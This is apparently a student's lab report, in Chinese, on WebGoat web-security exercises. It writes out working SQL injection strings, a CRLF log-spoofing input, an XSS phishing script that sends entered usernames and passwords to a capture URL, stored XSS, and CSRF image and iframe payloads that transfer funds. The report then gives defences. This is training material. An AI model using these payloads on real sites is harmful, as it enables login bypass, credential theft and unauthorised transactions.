2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

实验目的

  • 本实践的目标理解常用网络攻击技术的基本原理。

实验内容

  • 安装Webgoat
  • SQL注入攻击
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- LAB: SQL Injection
  • XSS攻击
- Phishing with XSS
- Stored XSS Attacks
  • CSRF攻击
- Cross Site Request Forgery
- CSRF Prompt By-Pass

实验步骤

安装Webgoat

java -jar webgoat-container-7.0.1-war-exec.jar

  • 成功登录后可在左侧看到实践课程

SQL注入攻击

  1. Numeric SQL Injection
  • 目标:显示天气情况
  • 点击
Injection Flaws
Numeric SQL Injection
  • 右键点击复选框,选择
inspect Element

审查网页元素对源代码

value="101"

进行修改,在城市编号101后面添加

or 1=1

  • 点击Go,可以看到攻击成功

  1. Log Spoofing
  • 目标:使用户名为admin的用户在日志中显示成功登录
  • 点击
Injection Flaws>Log Spoofing
  • 在User Name中填入
webgoat%0d%0aLogin Succeeded for username: admin

,利用回车0D%和换行符%0A让其在日志中两行显示

  • 此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。

    在用户名中输入
admin <script>alert(document.cookie)</script>

,管理员可以看到弹窗的cookie信息

  1. String SQL Injection
  • 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
  • 点击
Injection Flaws-String SQL Injection
  • 输入查询的用户名
Smith' or 1=1--

  1. LAB: SQL Injection
  • 目标:使用SQL注入绕过认证。
  • 在密码框输入
' or 1=1 --

,登录失败,会发现密码只有一部分输入,说明密码长度有限制。

  • 我们在密码框右键选择inspect Element审查网页元素对长度进行修改

  • 重新输入
' or 1=1 --

,登录成功

XSS攻击

  1. Phishing with XSS
  • 目标:在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
  • 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
  • 在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单

  • 现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
  • 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
  • 将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
  • 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

  1. Stored XSS Attacks
  • 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 在Message中构造语句
<script>alert("20165210 attack succeed!");</script>Title

任意输入。提交后可发现刚创建的帖子123456

  • 点击123456然后会弹出一个对话框,证明XSS攻击成功

CSRF攻击

  1. Cross Site Request Forgery
  • 目标:CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
  • 查看页面右下方Parameters中的src和menu值,我的分别为314和900
  • 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />

,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)

  • 输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

  1. CSRF Prompt By-Pass
  • 同上面的攻击,查看页面右下方的Parameters中的src和menu值,我的分别为328和900,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
  • 点击Submit生成以Title命名的链接,点击链接,攻击成功

实验后回答问题

  1. SQL注入攻击原理,如何防御
  • 原理:通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
  • 防御办法:

    可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等

    可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
  1. XSS攻击的原理,如何防御
  • 原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
  • 防御办法:

    用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码

    网页编写者角度:在输入到输出的过程中进行过滤、转义

    eg:①过滤<和>标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<和>标记。②HTML属性过滤,一旦用户输入的语句中含有javascript,jscript,vbscript,都用空白代替。③过滤特殊字符:&、回车和空格。
  1. CSRF攻击原理,如何防御
  • 原理:

    CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

    主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
  • 防御办法:

    个人觉得可以尽量别让浏览器记住密码,输入一下也没有多麻烦,这样就没有cookie了,也没有可获取的东西

    此外,可以在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

    “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。

实验遇到的问题

  1. 下载安装包时很慢然后下载下来后出现了jdk不匹配的情况,最终调试后好了。

实验总结与体会

这次实验,我进行了多种攻击的练习,让我对这些攻击的原理有了进一步的理解,这是最后一次实验了,课程也要接近尾声了,感谢老师和学长的帮助,希望今后能更加努力。

2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

    2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...

  3. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  6. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  7. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  8. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  9. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  10. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. [转载]JDK、SDK、J2EE、J2SE、J2ME的区别

    [转载]JDK.SDK.J2EE.J2SE.J2ME的区别 来源: https://www.cnblogs.com/liangyihui/p/5905875.html Java的名词真的是多啊 JDK ...

  2. 03 Django之视图函数

    一.Django的视图函数view 一个视图函数(类),简称视图,是一个简单的Python函数(类),它接受WEB请求并返回Web响应. 响应可以是一张网页的HTML内容,一个重定向,一个404错误, ...

  3. 关于Vue中,checkBox等组件在赋值后,点击切换页面未及时更新问题

    我们经常碰到这样的问题,在v-for循环中,给某些组件(此处以checkBox为例)赋值后,组件并不能正常切换, 这是因为数据层太多,render函数没有自动更新,需手动强制刷新. 解决方法:在切换c ...

  4. 【ASE模型组】Hint::neural 模型与case study

    模型 基于搜索的提示系统 我们的系统用Pycee针对语法错误给出提示.然而,对于语法正确.结果错误的代码,我们需要另外的解决方式.因此,我们维护一些 (错误代码, 相应提示) 的数据,该数据可以由我们 ...

  5. 用mybatis将SQL查询语句”select * from user”的封装为配置文件

    用mybatis将SQL查询语句”select * from user”的封装为配置文件 定义一个xml映射文件,文件名见名知意.如user-mapper.xml,文件内容如下: <?xml v ...

  6. 用一个N点复序列的FFT同时计算两个N点实序列离散傅里叶变换

    一.功能 用一个\(N\)点复序列快速傅立叶变换算法来同时计算两个\(N\)点实序列的离散傅立叶变换. 二.方法简介 假设\(x(n)\)与\(y(n)\)都是长度为\(N\)的实序列,为计算其离散傅 ...

  7. Image Processing and Analysis_15_Image Registration:Image matching as a diffusion process: An analogy with Maxwell's demons——1998

    此主要讨论图像处理与分析.虽然计算机视觉部分的有些内容比如特 征提取等也可以归结到图像分析中来,但鉴于它们与计算机视觉的紧密联系,以 及它们的出处,没有把它们纳入到图像处理与分析中来.同样,这里面也有 ...

  8. inotify和rsync实现数据实时同步

    数据的实时同步 实现实时同步 要利用监控服务(inotify),监控同步数据服务器目录中信息的变化 发现目录中数据产生变化,就利用rsync服务推送到备份服务器上 实现实时同步的方法 ino ...

  9. Collections(一)

    方法注释 /** * Returns an immutable list containing only the specified object. * The returned list is se ...

  10. 可嵌入的脚本引擎 Jx9

    Jx9是一个可嵌入的脚本引擎,基于JSON实现了图灵完备(Turing complete)的编程语言. Jx9 是那些需要流行和高效率脚本支持应用程序(比如:游戏.数据库系统,文本编辑器,网络应用程序 ...